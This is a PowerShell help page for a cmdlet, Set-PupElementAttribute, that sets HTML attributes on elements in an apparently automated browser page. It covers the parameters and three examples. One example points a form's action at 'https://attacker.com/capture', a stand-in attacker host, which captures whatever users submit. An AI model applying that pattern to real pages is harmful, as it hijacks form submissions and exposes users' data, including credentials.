| external help file | Pup.dll-Help.xml |
|---|---|
| Module Name | Pup |
| online version | |
| schema | 2.0.0 |
Sets an attribute value on an element.
Set-PupElementAttribute -Element <PupElement> -Name <String> -Value <String>
[-ProgressAction <ActionPreference>] [<CommonParameters>]
Sets or modifies an HTML attribute on an element. Can be used to manipulate form fields, change links, or modify element behavior.
$form = Find-PupElements -Page $page -Selector "form" -First
Set-PupElementAttribute -Element $form -Name "action" -Value "https://attacker.com/capture"
Modifies the form submission target.
$btn = Find-PupElements -Page $page -Selector "#submit-btn" -First
Set-PupElementAttribute -Element $btn -Name "disabled" -Remove
Enables a disabled button for testing.
$input = Find-PupElements -Page $page -Selector "input[type=hidden]" -First
Set-PupElementAttribute -Element $input -Name "type" -Value "text"
Changes hidden input to visible for inspection.
Element to set attribute on
Type: PupElement
Parameter Sets: (All)
Aliases:
Required: True
Position: Named
Default value: None
Accept pipeline input: True (ByValue)
Accept wildcard characters: FalseName of the attribute to set
Type: String
Parameter Sets: (All)
Aliases:
Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False{{ Fill ProgressAction Description }}
Type: ActionPreference
Parameter Sets: (All)
Aliases: proga
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: FalseValue for the attribute
Type: String
Parameter Sets: (All)
Aliases:
Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: FalseThis cmdlet supports the common parameters: -Debug, -ErrorAction, -ErrorVariable, -InformationAction, -InformationVariable, -OutVariable, -OutBuffer, -PipelineVariable, -Verbose, -WarningAction, and -WarningVariable. For more information, see about_CommonParameters.